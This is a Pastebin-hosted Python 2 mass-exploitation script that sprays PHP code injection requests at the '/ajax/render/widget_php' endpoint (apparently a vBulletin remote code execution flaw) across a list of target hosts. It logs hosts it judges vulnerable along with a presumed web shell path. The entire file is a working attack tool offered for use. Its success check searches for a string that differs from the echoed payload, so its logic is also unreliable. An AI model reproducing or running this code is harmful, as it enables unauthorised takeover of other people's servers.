Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*
- #!/usr/bin/python
- #####################################
- ##KILL THE NET##
- #### PS: CHANGE Your Threads pool on line 136 to make script more faster :)
- ##############[LIBS]###################
- import requests, re, urllib2, os, sys, codecs, random
- from multiprocessing.dummy import Pool
- from time import time as timer
- import time
- from urlparse import urlparse
- import warnings
- import subprocess
- import urlparse
- import argparse
- from requests.packages.urllib3.exceptions import InsecureRequestWarning
- warnings.simplefilter('ignore',InsecureRequestWarning)
- reload(sys)
- sys.setdefaultencoding('utf8')
- ##########################################################################################
- ktnred = '\033[31m'
- ktngreen = '\033[32m'
- ktn3yell = '\033[33m'
- ktn4blue = '\033[34m'
- ktn5purp = '\033[35m'
- ktn6blueblue = '\033[36m'
- ktn7grey = '\033[37'
- CEND = '\033[0m'
- #####################################
- ##########################################################################################
- try:
- with codecs.open(sys.argv[1], mode='r', encoding='ascii', errors='ignore') as f:
- ooo = f.read().splitlines()
- except IndexError:
- print (ktnred + '[+]================> ' + 'USAGE: '+sys.argv[0]+' ip.txt' + CEND)
- pass
- ooo = list((ooo))
- ##########################################################################################
- def ranga(url):
- try:
- host = url.strip()
- ua = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
- updat = {'widgetConfig[code]':'echo "Moslem";'}
- postpload = requests.post(host+'/ajax/render/widget_php', headers=ua ,timeout=15, data=updat)
- if 'th0d3_g4nt3ng' in postpload.content:
- print (ktngreen+host+' Vuln'+CEND)
- open('Shell.txt', 'a').write(host+'/m.php\n')
- else:
- print (host +ktnred+ ' Failed'+ CEND)
- except:
- pass
- #####################################
- def logo():
- clear = "\x1b[0m"
- colors = [36, 32, 34, 35, 31, 37]
- x = '''
- h0d3_g4n v5 \n \n '''
- for N, line in enumerate(x.split("\n")):
- sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
- time.sleep(0.05)
- pass
- logo()
- ##########################################################################################
- def Main():
- try:
- start = timer()
- ThreadPool = Pool(25)
- Threads = ThreadPool.map(ranga, ooo)
- print('TIME TAKE: ' + str(timer() - start) + ' S')
- except:
- pass
- if __name__ == '__main__':
- Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement